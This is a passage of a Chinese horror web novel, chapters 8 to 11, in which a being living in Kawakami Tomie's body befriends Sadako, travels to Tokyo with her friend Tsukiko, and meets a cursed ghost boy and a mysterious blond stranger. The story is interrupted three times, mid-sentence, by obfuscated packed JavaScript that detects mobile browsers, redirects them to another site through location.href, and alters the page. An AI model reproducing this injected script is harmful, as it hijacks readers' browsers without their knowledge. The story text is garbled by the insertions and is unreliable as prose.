“你好呀。” 她扒着井边,向那女孩伸出了手。 “我叫富江,川上富江。” 冰冷潮湿的石壁,在污泥的侵蚀下,逐渐变成了不断鼓动着的,暗红色的柔软内壁,像是某种生物的内脏。 “初次见面,山村贞子小姐。” 天空由明转暗,最终化作一片猩红。一只巨大的眼睛张开了,漆黑的瞳仁正好对着井口。 “能和我做个朋友吗?” 8. 第 8 章 第二天一早,太阳刚升起来没多久,小泉凌的车就来到了度假区门口。 富江是被管理员送出来的。 清晨的阳光带着金色,撒在女孩身上。她白得反光,巧笑嫣然地接下行李箱,临走时还礼貌地向管理员挥了挥手。 任谁看了,都会觉得这个女孩是多么美丽天真,心灵也一定很善良。 想到这,小泉凌不禁冷笑了两声。 “早上好,凌叔叔。” 富江今早心情确实很好,尤其是在看到入口处的车时,这个好心情的指数又往上升了不少。 “怎么样?” 富江笑得一脸明媚,朝他比了个“OK”的手势:“当然是搞定啦。” 昨天晚上这一睡不仅填饱了肚子,还交到一个朋友,这趟伊豆行简直可以说收获颇丰。 “走,我们买土特产去。” 这趟出门富江请了三天假,现在最重要的事情解决了,她也可以专心挑选给月子和班上同学的土特产礼物。 想到这,坐上车的女孩摸了摸自己的肚子。 嗯……不知道这位新朋友喜欢什么东西,一会儿问问好了。 “哼。” 富江看向后视镜,那里坐着一个与自己同样美艳的黑发女孩。 不过她明显看上去心情不怎么好,冷哼一声之后,一双黑白分明的杏眼怨毒地从镜子中看着她。 “诶呀,姐姐醒了啊。” 富江的脑回路和正常人类完全不同,她并没有对一直干扰自己的富江本尊生气,反而开心地拍了拍手。 “果然,我吃饱了姐姐就会醒,对了,你有见到山村小姐——” “你这疯子!小偷!” 话还没说完,后座的女人直接张牙舞爪地朝富江冲了过来。 “这是我的身体,把身体还给我!” 她的手还没伸到副驾驶坐,便被一道无形的屏障挡了回去。这下女人更愤怒了,那张美丽的红唇不断吐出带着毒的污言秽语。 “怎么了?” 富江看向还在开车的小泉凌,自从她念出“姐姐”两个字,男人就一直紧绷着身体。 “唉,姐姐每次都这样,一有精力就开始闹腾。” 话音刚落,伴随着一声尖叫,后座女人的身影就宛如海市蜃楼一般消散无踪。 “刚才在骂我啦,所以我让她回去了,毕竟你在开车嘛。” 小泉凌皱起眉:“你已经能控制她了?” 之前富江在家总是时不时对着空气自言自语,后来他和保子才知道,那是因为她在和被压制在意识深处的富江本尊对话。 这个女孩甚至还想和真正的川上富江以姐妹相称,真不知道该说她是天真,还是疯子。 “你再说什么啊叔叔?” 富江歪着头,靠在窗边,她的背后是伊豆热海碧蓝如洗的天空。 “姐姐能不能出来,一直都是我说了算的。” 明明是盛夏,车里也没开空调,男人却瞬间寒意遍体。 虽然从目睹这无名之物诞生那一日开始,他就知道“祂”和人类是不一样的。但此刻,这种差异感变得更加直白,更加鲜明。 但最终,对“川上富江”的憎恨,压过了对“祂”的恐惧。 “对她还是多提防一些比较好。”回忆起曾经劣性难改,宛如恶意凝结体的富江本尊,小泉凌握紧方向盘。“那女人不会向你感恩,也不会把你当作妹妹。” “下回她出来再趁机捣乱,出了什么意外我可不管。” “我不会有事的啦。” “不是说你。”车子在十字路口停了下来。“我是说那个女孩,你不是一直把她当朋友吗?” 他说的是泉泽月子。 富江脸上的笑容消失了。 “……是哦,我是不要紧,但月子,月子,嗯……月子是普通人类,普通的人类……” 虽然还维持着刚才的动作,但此刻的女孩却像是某种卡了壳的机器,面无表情地不断重复着一些词汇。 她刚夺走富江身体控制权的那几天,也一直都是这个反应。小泉凌猜测,这是“祂”在尝试着理解和学习接触到的事物。 “好吧,我懂了。” 红灯变绿的同时,富江接受了这个理由。 “以后我会小心,不会让任何东西伤害到月子。” 等富江带着大包小包的土特产从伊豆归来,那个所谓的“看了七天内必死”的录像带诅咒,也已经被新的传言所替代了。 在绵延不绝的蝉鸣声中,学生们迎来了暑假。 今年的夏天并不是很热,将身体逐渐恢复的老父亲接回家后,富江向月子提出了邀请。 “要不要和我一起出去玩?” 她其实计划得蛮认真的,但平时大门不出二门不迈的大小姐,写的东西,提的建议自然漏洞百出,最后还是月子抢过主导权,把富江拉到自己家,边翻旅游册边写起日程计划来。 “呜……” “好啦好啦别撒娇了,我知道你想帮忙,但计划还是我来写吧。” 两个女孩挤在月子的房间里,地上摊着一些东京周边的旅游杂志,这就是她们本次的目的地。 月子的爸爸也在那里工作。 “要不要跟叔叔打声招呼?” “没事,不到周末他又休息不了。” 月子一边嘟囔着,一边用水笔在迪士尼乐园上画了个圈。 “这里一天估计转不完,两天好啦,暑假人肯定很多。” “嘿嘿嘿……” “笑什么?” 富江捧着脸,明明是个大美女,这会儿却笑得有点傻乎乎:“我第一次和朋友出去玩嘛,好高兴。” 以前的川上富江倒是有几个朋友,不过她本人性格不好,加上和男生牵扯不清,女孩子们跟她也只是泛泛之交罢了,没有像她和月子这样亲密。 想到这,富江又开始傻笑,搞得月子受不了了开始用手直戳她额头,让她收收那个笑容。 “你在外面可不要这么笑啊,感觉我会被男生们嫉妒的眼光扎成刺猬。” “不会。”这次富江回答得很快。“我会保护月子的!” “诶,好,好,我信你。” “我说的真的啦……” 看着已经自顾自低头开始查看地图的泉泽月子,富江脸上的笑容淡了一些。深色的瞳孔中,有什么黑红色的东西在涌动。 “绝对不是开玩笑哦。” 与两个女孩所在的小镇不同,东京是个繁华的城市。不仅地铁多得像凌乱的毛线球,来往的行人也是络绎不绝,每天都不见减少。 托富江那好皮相的“福”,她们俩一到东京就没少被搭讪,尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309685|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是在新宿、秋叶原这种地方,甚至还有人追上来问富江有没有兴趣加入娱乐圈。 答案当然是没兴趣,富江连娱乐圈是什么东西都不知道。 后来月子也烦了,直接拉着富江,避开人流大的主干道路,专挑白天行人比较少的住宅区绕道走。 “我真是服了,大都市的人都这样吗?” 炎炎夏日,泉泽月子背着装着自己宝贝单反的双肩包,一边扇风一边抱怨着。 她今天穿得很运动轻便,一顶棒球帽帮助女孩遮挡了头顶的部分阳光。 “不是都说东京的人见多识广,怎么感觉比咱们学校的男生还不行?” “是这样吗?” 富江的感知与常人不同,如果说小镇上人们的负面情绪宛如潺潺小溪,那么东京这座钢铁森林里流窜的恐惧与恶意,就是庞大的瀑布。 “我还挺喜欢这的。” 留在这地方,她肯定不用操心饿肚子,每天都能吃得饱饱的。 泉泽月子闻言停下脚步,扭头看向富江。 夏季的阳光有些过于刺眼了,今天气温也挺高,富江出门的时候戴了顶遮阳的宽边帽,还带了把阳伞。 她的脸很小,头的轮廓很圆润,无论哪个角度在照相机里都堪称完美。这种得天独厚的优势,说实话不是每个人都有的。 “那你想留在东京吗?” 富江感觉到朋友有些不高兴,但她不明白为什么:“月子想留吗?” “我是在问你啦,不要把问题丢给我。” “那月子留在东京我就留。” 泉泽先是一愣,随即失笑,心里那点莫名的烦躁也消失了:“你倒是有点自己的想法啊。我的话,要是能考上东京的大学,肯定要过来。” 富江记得她的愿望,是能和父亲一家团聚,还有就是继续摄影。 如果是读艺术类专业,或者接触摄影爱好者的话,留在大都市肯定是更好的。 无人的街道上,两个女孩嬉笑着开起了玩笑。 “如果我将来做摄影师,你来当我的模特怎么样?” “好呀好呀!” “那我现在就给你拍一张。” 说着,月子放下行李,挑了个不错的角度,让富江站过去。 斑驳的树影下,戴着宽边帽的黑发女孩在镜头里异常美丽。 然而就在月子按下快门的瞬间,一阵强风忽然挂过,直接将富江的帽子吹得飞了起来。 “啊——!” 两个女孩抬起头,就这么眼睁睁地看着帽子在空中打了个转,直接掉到了旁边的某栋宅子的小院里。 “完了完了,你的帽子!” 泉泽月子收好相机,焦急地站在那户屋子外,踮着脚往里头看。 “不知道这会儿里面有人没?” “月子。” 正当短发女孩伸手想去摁门铃的瞬间,富江忽然伸手,拦住了对方的动作。 “我来吧,你先收拾好东西。” “诶?啊,好。” 月子不疑有他,退到一边去,把单反放进背包,还顺便把落在一边水渠里的阳伞收好了。 低着头的月子没有看到,笑容已经从富江的脸上消失了。 她面无表情地看着在炎炎夏日,依然散发着冲天黑气的日式住宅。 摁响了门铃。 9. 第 9 章 手指接触到门铃的瞬间,那些黑气就像是活过来了一般,缠绕上了富江的手指。 仅仅是触碰门铃,缠绕在这栋屋子里的怨念就已经沾染到了来人身上。 不仅如此—— 女孩眯起眼,细细端详着手上的黑气。这怨念不仅能感染接触房子的人,还会像传染病一样,从感染者身上再传下去。还会让沾染上的人变得像吸铁石一般,源源不断地继续吸引剩下的黑气。结果也就不言而喻了。 若富江是普通人,此刻大概就已经变成了被怨念选中的下一个倒霉蛋,还会把和自己共同行动的泉泽月子也拖下水。 但富江不是普通人,她甚至不是人类。 缠绕在女孩指尖上的黑气就像是滴在了粘土上的水,转瞬之间就被吸得一干二净。 摁了几下门铃,并没有反应。 “好像没人。” “啊?” 月子踮起脚往房子里看了看。 这幢屋子其实不小,装潢也看上去还不错,只是院子四周看上去疏于打理,有不少杂草和垃圾,灌木也过于茂密,显得有些阴森。 “完了,不会真没人吧?” 放着挺好一个市中心的屋子不住,东京的人这么奢侈的吗? “反正墙也不高,不如我翻进去帮你把帽子拿回来?” 一道诡异的白影从屋子的二楼一闪而过,月子没注意,但富江却看到了。 似乎是个没穿衣服的小男孩。 这栋房子并非空屋。 不仅如此,住户还正在里面虎视眈眈地看着她们呢。 “……不太好吧?” “确实是不太好。”月子挑了下眉毛,“但那个不是你很喜欢的帽子吗?” “诶?”好友突如其来地一句话让富江有些懵懂地看着她:“为什么这么说?” “这你都要问我吗?” 泉泽月子哭笑不得,但她已经习惯了富江的说话风格,耐心地跟她解释起来。 “我看你夏天戴它出门的频率还挺高,而且这次出来旅游收拾行李的时候你不也是第一个就拿了这顶帽子?总不可能拿自己不喜欢的东西出来。” 是这样吗? 女孩使劲回忆了一下自己和月子相处,还有收拾东西时的情况。 很遗憾,她已经忘记了。 不过,这并不影响她岔开话题。 “哦,原来是这样!但就这么进别人屋子还是不太好,算了吧。” 说着,富江伸出手,一把挽住了好朋友的胳膊。 “一顶帽子而已,也不贵,月子陪我去商场挑顶更好看的嘛~” “诶呀你不要突然抱我,很热诶!” “好不好啊月子,陪我去嘛,我也要给你买。” “所以你的目的就是买东西是吧?!” 被富江这么一打岔,月子也把探寻房子主人这件事抛之脑后。 两个女孩就这么打打闹闹地,从这栋无人的独栋小屋跟前跑开了。 而在她们看不见的内墙,富江那顶被风刮落进院子的宽边帽,正孤零零地躺在杂草丛中。 忽然,一双惨白的小手将帽子拿了起来。 只穿着条短裤,赤身裸体的黑发小男孩突兀地出现在了安静的院子里。 小男孩翻动着帽子,一双眼睛盯着帽檐上的装饰,张开嘴,发出了宛如猫咪一般的叫声。 伴随着声响,男孩身后,半敞着的拉门内,传来了像是指甲刮擦地板一样的声音。 阴风吹拂着屋内的杂草,下一秒,院子里又什么都没有了。 而泉泽月子那边,等被富江拖进商场,她可才体会到什么叫真正的“千金大小姐”。 可能是因为她俩住的小镇大商场总共也就那么几家吧,反正上学的时候她是没见富江买什么东西的。 但今天不一样,今天她俩在东京银座的商场,商品那叫一个琳琅满目,还没挑呢眼睛都要花了。 当然,东西好看归好看,价格那也是非常“好看”。但富江买起来可是丝毫不手软,没过一会儿,她俩手里就都已经提了两三个购物袋。 “我们是不是买太多了?” “没事没事,一会儿打车回酒店。这次难得出门玩,我要给家里人也都买点东西。啊对了,还要给叔叔和阿姨买点礼物。” “啊?” 月子下意识就想拒绝富江的好意,但话到嘴边,被女孩用那双水汪汪的杏眼一瞧,她就根本没办法板起脸来拒绝。最后的结果当然是富江满载而归,带着月子和买回来的战利品从商场门口打车直接回酒店。 白天在外头暴走,下午又去商场逛,饶是泉泽月子体力再好,回到酒店也累得够呛。 明天还有新的计划,两个女孩收拾了一番,便早早歇下了。 刚闭上眼睛没多久,等富江再睁开眼,她已经身处一座破败的小屋内。 是她之前在伊豆时见到的那间屋子。 窗外,曾经的白日被红黑色取代,甚至还能听到什么奇异的,像是沼泽污泥一般浑浊黏腻的声音。 小屋中央的桌子旁,坐着一个身穿白裙,黑色长发的美丽女人。 富江歪了歪头:“晚上好啊,山村小姐。” 对方没理她,一动不动地盯着自己面前的桌子,连眼睛都不眨一下,好像一尊蜡像。 “山村小姐,莫非其实是有点坏心眼的类型?” 富江绕着桌子转了一圈,见对方毫无反应,索性又坐回座位上。 “是你把我拉进来的吧?” 那天,吞噬井中恶灵的时候,富江看到了两个女孩。 穿着黑裙子的小姑娘,以及穿着白裙子的年轻女性。 小姑娘身上有着极为诱人的,美食的香气,再加上她对富江的敌意和恶意都非常强,最终溶解在了这片黑红色的“淤泥”之中。 至于那个年轻女性,她似乎对自己的死活并不在意,甚至对黑裙小女孩的消失也没有特别大的情绪波动。 这引起了富江的好奇心,再加上吞噬掉黑衣小女孩后她已经吃饱了,便在淤泥的海洋中开拓出了一片区域,放下了身着白衣的女人和她的小屋。 原本只是想和这位“山村贞子”小姐交个朋友,她偶尔还回来小屋转转。 结果每次来,对方不是站在窗前,就是坐在桌前发呆,完全不理她。时间久了,富江也就腻了。 结果今天,她被拉进了屋子里。 富江耐心地坐在桌前等了一阵,见对方没反应,就准备离开。 就在这个时候,女人忽然开口。 “他们来了。” 破旧的小屋,黑红色的世界消失了。 川上富江睁开眼,意识已经回到了酒店客房里。 她坐起身,看到泉泽月子躺在边上,睡得正熟。 伴随着轻微的吧嗒声,原本锁上的客房大门,在富江面前,缓缓打开了一条缝。 ------------------------------------- 泉泽月子是被噩梦惊醒的。 睁开眼睛的时候她已经不记得噩梦的内容了,只有狂跳的心脏以及被冷汗浸湿的衣服向她强调着那个梦有多么糟糕。 月子坐起身,后知后觉地发现卧室的小灯开着,而她身边原本应该睡着富江的位置则空无一人。 她伸手去摸被窝,冰冷的温度告诉她,身旁的人已经离开了一段时间。 “富江?” 月子朝屋里喊了一声,却没人回应。 短发女孩掀开被子下床,厕所的灯关着,富江没在那,而整间屋子也就这么大点地儿。 这时,月子注意到,原本反锁的门开了。 确实富江的鞋也不在屋子里,原本放在桌上的房卡也不见了,但……不会吧? 怀抱着这样的想法,泉泽月子走出了房间。 现在是深夜,宾馆的走廊静悄悄,空荡荡的。 柔软的地毯吸走了女孩的脚步声,她一边走,一边小声地呼唤着朋友的名字,生怕惊动了其他还在睡的客人。 就在这时,月子的余光瞥见一旁的走廊上闪过了一道白影。 她扭过脸,却又什么都没看见。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309686|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “富江?是你吗?” 带着一种侥幸心理,月子朝那个方向走了过去。 走廊的尽头是一个死角,没什么人,但侧面的大门却打开了一条缝。 是这层的逃生楼梯,不知道为什么被人打开了。 鬼使神差地,月子的手摸到了大门把手上。 门缝里有冷风吹来,黑洞洞的什么也瞧不见。她咽了口口水,在去看看和回去直接联系酒店前台之间来回纠结。 不知道是不是错觉,门缝中隐约传来了细碎的,像是脚步的声音。 泉泽月子大着胆子,拉开了沉重的大门,侧身挤进了逃生通道里。 里面没有亮灯,只有逃生出口的警示牌闪着冷冷的绿光。月子摸索着墙壁,打开了灯。 楼道一下亮堂了起来,灯光亮起的瞬间,她又看到了那个一闪而过的白影。 “富江?!” 她心下焦急,下意识便跟着影子顺着楼梯走了下去。 但走到楼梯转角,灯光渐暗,女孩又觉得不对劲了起来。 毕竟,如果那道白影是富江的话,身形未免有些太矮小了。 倒像是—— 月子的脚步慢了下来。 预感到不对的同时,不知为何,走廊的灯也开始不断闪烁。 “富……富江?” 女孩壮着胆子喊了一声,没人回应她。 不断闪烁的灯光下,透过镂空的扶手,月子看到走廊的拐角处,蹲着一个光着身子,只穿了一条短裤的孩子的背影。 一股寒意从脚底板直窜而来,女孩整个人僵在原地。 因为那孩子面对着墙角,月子看不到他的脸,只能透过不断闪烁的灯光看到他惨白的脊背,光裸的腿脚。 他蹲着的地方距离月子还有一段楼梯的距离,那里恰好是灯光最弱的角落。逃生路口的绿色警示标映照在孩子的身上,衬得他一点血色都没有。 这么晚了,为什么会有个没穿衣服的小孩子蹲在这?! 不会是有人故意虐待小孩吧? 想到这,她又有点担心,想往下走,再仔细看看。 但不知为何,那股围绕在周身的寒意却越来越重,甚至让月子开始打起了冷颤。 安静的长廊中,响起了一声细小的猫叫。 泉泽月子下意识环顾四周,什么小动物都没看到。同时,她也清晰地意识到了一件事。 那猫叫是从楼梯下面传来的,位置,刚好就是男孩蹲着的墙角。 女孩萌生了退意,身体却僵着无法动弹。又一声猫叫传来,月子看到原本蹲在墙角,背对着自己的男孩似乎正在缓缓地转过身。 就在这个时候,她的肩膀忽然被什么东西猛拍了一下! “哇啊——————!” 月子尖叫着猛然转过身,一张美艳的脸撞进了她的眼中。 “月子?!” 她的好友川上富江,正穿着睡衣,手里拿着打着光的手机,一脸担心地看着她。 “怎么了?没事吧?!” “富,富江……?” 月子张嘴,才发现自己的声音都已经在发抖了。 “你跑哪去了!吓死我了!” 不知道是不是因为声音太大的原因,逃生楼梯的感应灯恢复了正常。 “我刚准备睡忽然想起要跟酒店说一下行李寄送的事,不想打电话吵醒你,所以下楼去找前台啦。” 富江用手捂着好友的脸,她平时体温算偏低的,但这时候月子却只觉得一股暖意从对方的掌心传来。 “倒是你,半夜不睡跑到逃生通道来干什么?” “我,我……” 月子的眼眶红了。 “我睡醒看到你不在就出来看,结果看到逃生通道的门开着,然后——” 她本来想说然后自己在拐角看到了个奇怪的小孩,还听到了猫叫,但转过头,却发现灯亮之后,原本应该蹲着个孩子的墙角空无一人。 一顶女式宽边草帽,孤零零地落在那里。 看上去,像是她们白天丢掉的那顶。 10. 第 10 章 “诶?人,人呢?” 月子指着角落,拽着富江的手,有些语无伦次。 “刚才,刚才我真的看到了。没骗你!那真的有个孩子,还,还没穿衣服!” 她清晰地记得那惨白的背影,还有毛骨悚然的猫叫,绝对不可能看错! 但,为什么现在男孩不见了,只留了一顶帽子? 月子的思绪还混乱着,看到眼前的朋友动了起来,下意识拉住了她。 “月子?” 抓着自己胳膊的手很用力,指节都已经有些发白了。富江用手摸了摸朋友的肩膀,安抚着她。 “我去看看那顶帽子,没事的。” “要,要不还是算了!感觉有点怪怪的……” 虽然诅咒录影带的谣言已经不攻自破,但这大半夜的遇到怪事,疑似白天丢掉的帽子出现在眼前,怎么看都有点不对劲。 其实月子在同龄人群体里已经算胆子不小的女孩了,只是今天遇到的事情实在诡异,她甚至在思考自己是不是因为太累产生了幻觉。 但她忘了,其实富江比她的胆子更大。 长发女孩朝她笑了笑,还是独自一人走下楼,捡起了那顶宽边帽。 “嗯……看上去确实很像我的,但又好像不是。” 看到富江安然无恙地站在角落,月子的心也放了下来。 “不,不是你的吗?” “嗯……我也不知道!” 这是谎言,其实就是富江白天丢失的东西。 而且泉泽月子看不见,但她却可以看到,掉落在地上的女式宽边帽,在她捡起来之前,早已被一股冷冰冰的黑气所覆盖。 在富江弯腰,手指触碰到帽子的瞬间,从她皮肤中渗透出来的黑红色物质,贪婪地将那缠绕上来的黑气啃食了个干净。 而且—— 富江不动声色地向下瞥了一眼,这里的楼梯每层灯光都是手动开启的,下一层楼梯的拐角处,黑暗中,一个光着身体,只穿着一条短裤的小男孩正盯着她看。 如果月子看到了一定会很害怕吧? 怀抱着这样的想法,她没和那孩子打招呼,而是拿着帽子回到了朋友身边。 “走吧,回去睡觉。” “那这顶帽子……” “哦对,一会儿丢进电梯旁边的垃圾桶好了。” 月子愣住了:“没,没关系吗?” 富江已经挽着她的手往回走了,听罢漫不经心地回答道:“落在逃生通道的东西,估计本来也就是谁的遗留物,反正我是不要呢,因为今天买了新帽子。” 虽然很感谢那位把帽子送回来给自己的小男孩,但是月子很害怕。 富江还记得自家叔叔的忠告,而她一直是个谦虚并且好学的孩子。 泉泽月子是个普通人,普通人摔倒就会受伤,被诅咒缠身就有可能丧命。他们讨厌怪异,并对脱离常识的东西带有一种本能的恐惧。 所以即使现在富江对那已经满溢而出的恶意与怨念垂涎欲滴,她也不会在月子还在身边的时候去和屋子的主人交朋友。 而且对她来说,充满恐惧感的活人,也同样美味。 她喜欢平时活力四射,保护自己的朋友,但更喜欢现在这样吓得有些六神无主,被负面情绪逐渐侵蚀的她。 怎么说呢?就像是刚刚烤好的小蛋糕那样,有股甜甜的奶油味,光闻起来心情都会变好。 想到这,她亲昵地搂紧了还有点晃神的月子,把头靠在她肩膀上轻轻嗅着那弥漫着恐惧的气味。 “嘿嘿……” “你傻笑什么?”不知道是因为身边有个人,还是因为富江吸收掉了多余的恐惧,泉泽月子的状态逐渐恢复了。“还有,下回要出去记得说一声啊,吓死我了!” “好嘛,对不起。” 其实她今晚出去,并非是去前台,而是和好友一样,被来拜访的客人给引出去的。 想到这,女孩垂下眼帘,笑容也淡了一些。 看上去,比起自己,客人更喜欢什么都不知道的月子。 富江心中升起了一种有些陌生的情绪。这感觉很奇妙,和平日里的高兴,看到美味食物时的期待完全不同。 怎么说呢?刺刺的,麻麻的,感觉不是很舒服,是她完全没体验过的感觉。 怀揣着对这一全新又陌生的情感的疑惑,女孩一夜未眠。 当然,泉泽月子的状态也不怎么好,早上起来的时候连黑眼圈都冒出来了。 屋漏偏逢连夜雨,等两个女孩打着哈欠下到一楼时,又遇到了一件令人意想不到的事。 豪华酒店的楼下停了好几辆警车,甚至还有救护车。 “怎……怎么了?” 月子立刻吓得清醒了过来,一把拉着富江躲在一边,围观起了神色严肃的警察和已经愁容满面的工作人员们。 她俩今天本来是要去迪士尼的,所以起了个大早,这会儿酒店楼下还没多少客人。 零星的几个人好奇凑到大堂看热闹,也被工作人员礼貌地请走了。 过了一会儿,警察们就和酒店经理一同进了办公室,门口的车也都散开了。 但月子的好奇心已经被激了起来,索性跟一同在附近凑热闹的路人打探起了消息。 “听说昨天半夜有客人出了意外,在自己房间里突发急症什么的。” 其实酒店因为业务原因,遇到这种突发状况也不算罕见,但月子还是抱起了胳膊。 “讨厌,怎么刚好就在昨晚啊……” 告诉她们这事儿的,是个热心肠的阿姨,不过阿姨很明显也是从工作人员那得知的消息。 富江看着已经安静的大堂,这里弥漫着比昨天她们来时更强烈的黑气,里面混杂着很多负面情感。 恐惧,悲伤,愤怒,惊慌,以及最后,也是最重要的怨恨。 如果只是意外的话,不会有这么强烈的情感蕴含在里面。酒店向他人公开的绝对不是真相。 而且逸散在大堂中的黑气,与昨天看到的宅邸和附着在帽子上的,是同一种。 很显然,昨天晚上进入酒店的“来客”,最后还是相中了目标。 不过早上的消息并没有影响二人今天的行程,人是一种会被四周氛围影响的动物,特别她们今天去的又是充满欢声笑语的梦幻王国。 暑假的游乐园总是有那么多人,全家一起出游的老老少少,和她们一样充满活力的年轻人,甚至还有许多金发碧眼的外国人。 大家都被童话世界的欢快氛围感染,忘记了生活中的烦心事。 月子显然也是其中之一。 为了这次旅行计划,女孩特地带着单反一路从家里背到了东京,今天更是带了好几枚胶卷,进了游乐园就兴高采烈地拍起了照片。 有风景照,花车游行照,更多的还是富江的照片。 偶尔,在富江强烈的要求下,月子也会把相机交到热心肠的路人手里,和好友一起合影留念。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309687|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 除了眼下的黑眼圈还在提醒富江,好友前一晚受了点惊吓,现在的她身上,恐惧的味道已经很淡了。 不过今天的体验对富江来说也很新鲜,虽然在这人声鼎沸的游乐园中,能令她产生食欲的东西很少。 但怎么说呢,人类快乐的情感,在富江看来,就像是精致的琉璃,色彩斑斓的宝石,虽然不能吃,看着也很赏心悦目。 所以她也玩得很开心。 但一个旅游热门景点人多了,也会产生新的问题。 比如:一起来玩的朋友被人流冲散了。 “月子——?月子你在哪?” 中午第二波花车游行的时候,富江和月子就遇到了同样的问题。 她俩本来在前排站着,然后载着大玩偶和王子公主,各种卡通人物的豪华花车过来的时候,行人们都激动了,很多人开始跟着花车移动。 月子手里拿着相机,富江则拿着一些她们在园里买的零食,俩人一个疏忽,就被移动的人流给挤散了。 花车游行的音乐声很大,再加上人群吵闹,两个女孩各自的呼喊声被轻而易举地淹没,没一会儿就看不到对方了。 “对不起,请让一让,月子?你在这吗?” 富江跟着花车游行的方向找了好久,还是没看到好友的身影,有些气馁地叹了口气。 看来只能像月子说的那样,如果在游乐园走散了,就先各玩各的,然后在指定的时间去指定的地点会合吧! “……但是,我想和月子一起玩啊。” 捧着手里的爆米花,富江撅着嘴,在喷泉旁边随便找了个长椅坐着。 “月子,去哪里了嘛。” 心里空落落的,好友不在身边,充满了欢声笑语的游乐园也变得有些陌生了起来。 “……要不要直接在这里找一找呢?” 正当她打算通过自己的力量寻找泉泽月子的时候,长椅旁出现了两个人。 “你一个人吗?” “好可爱啊,一个人来游乐园玩吗?” 是两个穿着打扮都很新潮的年轻男人,头发也染得五颜六色,和富江住在小镇上接触的男生完全不同。 富江歪了歪头:“不是一个人来的,我和朋友走散了。” 他们身上,有她喜欢的味道。 男人们面面相觑,其中一人已经开始上下打量面前的少女。 她真的太美了,雪白的肌肤,乌黑的长发,微微上挑的眼角带了点媚意,歪头的样子又有些天真感。 像是个无知的小羊羔一样。 “小美女和朋友走散了啊,别怕别怕,我们帮你找。” “真的吗?谢谢!” “你叫什么名字?” 富江微微一笑,从椅子上站起身:“我叫川上富江。” “那小富江,你先跟我们一起——” 话音未落,一只陌生但有力的手忽然攀住了女孩的肩膀。 “到此为止吧。” 富江下意识抬起头,一瞬间,被晃了一下眼睛。 搂着她的人个子很高,在这梦幻的童话乐园里穿了一身黑色的西装,脖子上还挂了个很有特色的挂饰。 今天的阳光很刺眼,洒在来人金色的长发上,折射出了璀璨的光。 和那些染了头发的青年不同,男人长了一副外国人相貌,戴着墨镜,居高临下地睨着面前的二人。 “这女孩已经有约了,你们还是去找别的猎物吧。” 11. 第 11 章 富江专注地盯着自己身边的这个男人。 她确信自己不认识这个人,哪怕是川上富江本尊,记忆中没有对方一丝一毫的痕迹。 另外,她也确信,这个男人和其他来搭讪自己的每个人都不同。 到底是为什么呢? “……你是谁?” 富江歪着头,伸手想要摸摸对方那让她感到晃眼的金发。 男人没有躲避,她成功触摸到了那柔软的,带着凉意的长发。 这种感觉真的很奇怪,之前出现在富江面前的每个人,都是带着情感和欲望的。有好吃的,也有吃不了的,有激烈的,也有平淡的。 但这个男人不同,他对她没有任何“情绪”。 就像是在看什么物品一样,有一种带着审视的眼神。 不知道是不是因为这个的原因,富江对他的感知也很不明确,明明男人就站在自己面前,她却感觉自己无法捕捉对方的踪迹。 像是在观察一片变幻不定的浓雾,每当她想聚精会神地“看”,视线就会变得模糊。 “你到底是谁呀?” 少女扬起艳丽的笑,向前凑了一下,白皙而柔软的手沿着金发一路向上,抚摸到了男人的脖子,脸颊。 是温热的,他是个活人。 “哼,本来以为是什么十万火急的要紧事,还专门飞来了日本一趟。” 奇妙的是,即使富江现在的行为已经算得上有些冒犯了,金发男却没有生气。 “这不是都还不成气候呢吗?真是无趣。” 一通没头没尾的话,但富江却好像听懂了。 “你在说我吗?” 她攀着青年,靠近对方的脸。 “你知道我是什么东西吗?” 她的心情雀跃了起来,深色的眼底,黑红色的东西不断涌动。 欢乐的游乐园里,俊朗的金发男人与美丽的黑发少女相拥在一起,任谁看了,都会觉得他们是一对亲密的情侣。 但那也只是平常人类的视角。 “哦?你自己都不知道,我又如何得知?” 青年冷笑了一声,手指轻轻托起少女的下巴。 “倒是挑了个不错的皮囊,既能承载那份力量,还不容易被弄坏,甚至还能更轻易地吸收自己想要的恶意。” “你连这个都知道,却说不知道我是什么东西。”富江撅起嘴,“你在骗我吗?” “谁知道呢?” 她努力地想从男人身上获取一些蛛丝马迹,却依然徒劳无功。越想抓住,那些逸散在四周的能量就宛如指缝间的水,或是飘散在空气中的烟,灵巧地从她的掌控中挣脱了出去。 这可能是生平第一次吧,富江生出了一种类似于挫败感一般的情绪。 “……算了,不理你,我要去找月子。” 她毕竟才出生没多久,身边的人际关系也单纯,不高兴了也只是松开了青年,刚想往后退了两步,却被猛然搂住了腰。 “那是谁?” 对方的手臂力道恰到好处,既不会让女孩感到不舒服,却也禁锢了她的行动。 “我的朋友。” 